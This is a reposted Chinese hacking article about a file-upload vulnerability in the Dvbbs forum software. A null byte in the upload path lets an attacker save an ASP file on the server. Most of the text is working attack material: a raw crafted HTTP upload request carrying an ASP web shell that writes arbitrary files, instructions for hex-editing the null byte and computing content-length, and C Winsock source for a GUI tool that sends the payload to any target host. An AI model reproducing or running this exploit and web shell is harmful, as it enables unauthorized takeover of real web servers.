搜索文章:

首页  |  Java技术  |  Asp.net  |  Asp编程  |  VC/C++  |  Delphi  |  VB编程

动网论坛上传文件漏洞的原理以及攻击的代码实现

          最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪(猪蛋儿的《目前流行的bbs安全性比较》一文请参阅:http://wvw.ttian.net/forum/viewtopic.php?id=269)说动网论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近nb论坛上全部都在讨论有关这方面的问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是dvbbs7.0 sp2以下通杀.虽然有些人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人骂,因为这个漏洞实在太大了).

  我们先看一下动网论坛上传文件的相关代码:

===========无组件上传(upload_0)====================
sub upload_0()
set upload=new upfile_class 建立上传对象
upload.getdate (int(forum_setting(56))*1024)  取得上传数据,不限大小
icount=0

if upload.err > 0 then
  select case upload.err
  case 1
  response.write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
  case 2
  response.write "图片大小超过了限制 "&forum_setting(56)&"k [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
  end select
  exit sub
  else
formpath=upload.form("filepath")
在目录后加(/)
if right(formpath,1)<>"/" then formpath=formpath&"/"

for each formname in upload.file 列出所有上传了的文件
set file=upload.file(formname) 生成一个文件对象
if file.filesize<100 then
  response.write "请先选择你要上传的图片 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
  response.end
end if

fileext=lcase(file.fileext)
if checkfileext(fileext)=false then
  response.write "文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
  response.end
end if

randomize
rannum=int(90000*rnd)+10000
filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext
if file.filesize>0 then     如果 filesize > 0 说明有文件数据
 file.savetofile server.mappath(filename)  保存文件
 response.write file.filepath&file.filename&" ("&file.filesize&") => "&formpath&file.filename&" 成功!<br>"
response.write "<script>parent.document.forms[0].myface.value="&filename&"</script>"
 icount=icount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
htmend icount&" 个文件上传结束!"

end if
end sub

在上面代码中可以看到这样一句:
filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传asp文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码:
<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
<input type="hidden" name="filepath" value="uploadface">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].submit.disabled=true,
parent.document.forms[0].submit2.disabled=true;">
</form>
这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的asp文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.

当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成asp,这样我们才可以利用.关键就在这一句了:
formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext
这句话将一段字符串合并起来.我们能改的就是formpath这个参数.在计算机中检测字符串的关键就是看是否碰到\0字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp\0的字符串然后发送出去就行了.

我们先来看一下数据包的格式(论坛上好像大家用的是wsockexpert,不过我用的是iris,我觉得更专业一点,^_^):


post /forum/upfile.asp http/1.1
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
accept-language: zh-cn
content-type: multipart/form-data; boundary=---------------------------7d4a325500d2
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.2; myie2; .net clr 1.1.4322; .net clr 1.0.3705)
host: uyee.com
content-length: 1593
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidqcaqbaqt=nbdjcefcmiicljbjkhkmhjef

-----------------------------7d4a325500d2
content-disposition: form-data; name="filepath"

uploadface\zwell.asp
-----------------------------7d4a325500d2
content-disposition: form-data; name="act"

upload
-----------------------------7d4a325500d2
content-disposition: form-data; name="file1"; filename="c:\1.gif"
content-type: text/plain

<%dim objfso%>
<%dim fdata%>
<%dim objcountfile%>
<%on error resume next%>
<%set objfso = server.createobject("scripting.filesystemobject")%>
<%if trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%set objcountfile=objfso.createtextfile(request("syfdpath"),true)%>
<%objcountfile.write fdata%>
<%if err =0 then%>
<%response.write "<font color=red>save success!</font>"%>
<%else%>
<%response.write "<font color=red>save unsuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objcountfile.close%>
<%set objcountfile=nothing%>
<%set objfso = nothing%>
<%response.write "<form action= method=post>"%>
<%response.write "<input type=text name=syfdpath width=32 size=50>"%>
<%response.write "<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%response.write "<br>"%>
<%response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
<%response.write "<input type=submit value=save>"%>
<%response.write "</form>"%>
-----------------------------7d4a325500d2
content-disposition: form-data; name="fname"

c:\1.gif
-----------------------------7d4a325500d2
content-disposition: form-data; name="submit"

上传
-----------------------------7d4a325500d2--

上面的数据我是在win2003下调试的.按我前面讲的,只要改几个地方就好了
1.content-disposition: form-data; name="file1"; filename="c:\1.gif"
2.content-disposition: form-data; name="fname"

 c:\1.gif
3.最重要的地方:uploadface\zwell.asp,怎么加一个空字符呢?用ultraedit是个好方法,用16进制编辑,(因为\0这个字符也占一个位置,所以我们先打入一空格,然后再在ultraedit里将对就空格符的20改成00).

至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
content-length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的.

写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
#include <winsock2.h>
#include <stdio.h>
#include "resource.h"

#pragma  comment(lib,"ws2_32.lib")

hinstance    g_hinst;
hwnd      g_hwnd;
hwnd      m_up;
hwnd      m_host;
hwnd      m_webpath;
hwnd      m_path;
hwnd      m_filename;
hwnd      m_upload;
dword      m_theadid;
byte      sendbuf[10000];
char      host[80];      //主机地址
char      bbspath[50];    //论坛地址
char      uppath[20];      //上传目录
char      upfilename[50];    //上传文件名
char      upfiledata[8000];  //上传文件内容
int        sendsize;      //总传送数据大小
int        realsndsize = 0;  //传送页面文件的大小
char      snddata[8000];
char      mm[1000]=
          "<%dim objfso%>\r\n"
          "<%dim fdata%>\r\n"
          "<%dim objcountfile%>\r\n"
          "<%on error resume next%>\r\n"
          "<%set objfso = server.createobject(\"scripting.filesystemobject\")%>\r\n"
          "<%if trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
          "<%fdata = request(\"cyfddata\")%>\r\n"
          "<%set objcountfile=objfso.createtextfile(request(\"syfdpath\"),true)%>\r\n"
          "<%objcountfile.write fdata%>\r\n"
          "<%if err =0 then%>\r\n"
          "<%response.write \"<font color=red>save success!</font>\"%>\r\n"
          "<%else%>"
          "<%response.write \"<font color=red>save unsuccess!</font>\"%>\r\n"
          "<%end if%>\r\n"
          "<%err.clear%>\r\n"
          "<%end if%>"
          "<%objcountfile.close%>\r\n"
          "<%set objcountfile=nothing%>\r\n"
          "<%set objfso = nothing%>"
          "<%response.write \"<form action=\\ method=post>\"%>\r\n"
          "<%response.write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n"
          "<%response.write \"<br>\"%>\r\n"
          "<%=server.mappath(request.servervariables(\"script_name\"))%>\r\n"
          "<%response.write \"<br>\"%>\r\n"
          "<%response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n"
          "<%response.write \"<input type=submit value=save>\"%>\r\n"
          "<%response.write \"</form>\"%>\r\n";

//获得控件文本
char *gettext(hwnd chwnd)
{
  char tmpbuf[10000];
  sendmessage(chwnd, wm_gettext, (wparam)sizeof(tmpbuf), (lparam)tmpbuf);
  return tmpbuf;
}

//设置控件文本
void settext(hwnd chwnd,char *text)
{
  sendmessage(chwnd, wm_settext, (wparam)(0), (lparam)text);
}

char *itos(int data)
{
  char tmp[10];
  sprintf(tmp, "%d", data);
  return tmp;
}

//上传线程
dword winapi uploadthread(lpvoid param)
{
  socket    s;
  sockaddr_in sin;
  struct hostent * hp;
  unsigned int  addr;

  s = socket(af_inet, sock_stream, ipproto_tcp);

  zeromemory((void *)&sin, sizeof(sin));
  
  hp = gethostbyname(gettext(m_host));
  if (!hp)
    addr = inet_addr(gettext(m_host));
  if ((!hp) && (addr == inaddr_none) )
  {
    messagebox(g_hwnd, "unable to resolve host", "sendbuf", mb_ok);
    return 0;
  }
  if (hp != null)
    memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
  else
    sin.sin_addr.s_addr = addr;

  sin.sin_port = htons(80);
  sin.sin_family = af_inet;

  strcpy(host, gettext(m_host));
  strcpy(bbspath, gettext(m_webpath));
  strcpy(upfiledata, gettext(m_upload));
  strcpy(uppath, gettext(m_path));
  strcpy(upfilename, gettext(m_filename));

  realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;

  sprintf((char *)sendbuf, "post %s/upfile.asp http/1.1\r\n"
        "accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
        "referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"
        "accept-language: zh-cn\r\n"
        "content-type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
        "accept-encoding: gzip, deflate\r\n"
        "user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.2; myie2; .net clr 1.1.4322; .net clr 1.0.3705)\r\n"
        "host: %s\r\n"
        "content-length: %d\r\n"
        "connection: keep-alive\r\n"
        "cache-control: no-cache\r\n"
        "cookie: iscookies=0; boardlist=boardid=show; aspsessionidqcaqbaqt=nbdjcefcmiicljbjkhkmhjef\r\n\r\n"
        "-----------------------------7d4a325500d2\r\n"
        "content-disposition: form-data; name=\"filepath\"\r\n\r\n"
        "%s\\%s",
        bbspath,
        host,
        realsndsize,
        uppath,
        upfilename);

  sendsize = strlen((char *)sendbuf);
  sendbuf[sendsize] = \0;

  sprintf(snddata,
        "\r\n"
        "-----------------------------7d4a325500d2\r\n"
        "content-disposition: form-data; name=\"act\"\r\n\r\n"
        "upload\r\n"
        "-----------------------------7d4a325500d2\r\n"
        "content-disposition: form-data; name=\"file1\"; filename=\"c:\\1.gif\"\r\n"
        "content-type: text/plain\r\n\r\n"
        "%s\r\n"
        "-----------------------------7d4a325500d2\r\n"
        "content-disposition: form-data; name=\"fname\"\r\n\r\n"
        "c:\\1.gif\r\n"
        "-----------------------------7d4a325500d2\r\n"
        "content-disposition: form-data; name=\"submit\"\r\n\r\n"
        "上传\r\n"
        "-----------------------------7d4a325500d2--\r\n\r\n",
        upfiledata);

  strcat((char *)&sendbuf[sendsize+1], snddata);

  sendsize += strlen(snddata);
  sendsize += 1;

  if(socket_error == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
  {
    messagebox(g_hwnd, "连接出错!", "出错提示:", mb_ok|mb_iconerror);
    return 0;
  }
  int sendsz = send(s, (char *)sendbuf, sendsize, 0);
  if(sendsz <= 0)
    messagebox(g_hwnd, "发送数据失败", itos(wsagetlasterror()), mb_ok);
  char recvbuf[10000];
  recv(s, (char*)recvbuf, 10000, 0);
  settext(m_upload, recvbuf);
  closesocket(s);
  return 0;
}

void winapi  on_command(wparam wparam)
{
  switch (loword(wparam))
  {
    case id_up:
      createthread(null, 0, uploadthread, null, null, &m_theadid);
      break;
    case idcancel:
      sendmessage(g_hwnd, wm_close, (wparam)(null), lparam(null));
      break;
  }
}

static bool  callback maindlgproc(hwnd hwnddlg, uint msg,  wparam wparam, lparam lparam)
{
  switch (msg)
  {
    case wm_initdialog:
      g_hwnd = hwnddlg;
      m_up = getdlgitem(g_hwnd, id_up);
      m_host = getdlgitem(g_hwnd, idc_edit1);
      m_webpath = getdlgitem(g_hwnd, idc_edit2);
      m_path = getdlgitem(g_hwnd, idc_edit3);
      m_upload = getdlgitem(g_hwnd, idc_edit4);
      m_filename = getdlgitem(g_hwnd, idc_edit5);
      settext(m_host, "192.168.10.101");
      settext(m_webpath, "/");
      settext(m_path, "uploadface");
      settext(m_filename, "zwell.asp");
      settext(m_upload, mm);
      return true;

    case wm_command:
      on_command(wparam);
      break;
  
    case wm_size:
      break;

    case wm_close:
      enddialog(g_hwnd,0);
      break;
  }
  return false;
}

int  apientry winmain(hinstance hinstance, hinstance  hprevinstance, lpstr lpcmdline,  int  ncmdshow)
{
  wsadata  wsadata;
  
  g_hinst=hinstance;
  if(wsastartup(makeword(1, 1), &wsadata))
  {
    messagebox(null,"无法初始化  winsock  dll\t","错误",mb_ok|mb_iconstop);
    return 0;
  }
  dialogbox(g_hinst, makeintresource(idd_dialog1),  null, (dlgproc)  maindlgproc);
  wsacleanup();
  return 1;
}

windows2003 + vc.net
windows2003 windows2000测试通过

相关文章:
© 2006   www.java-asp.net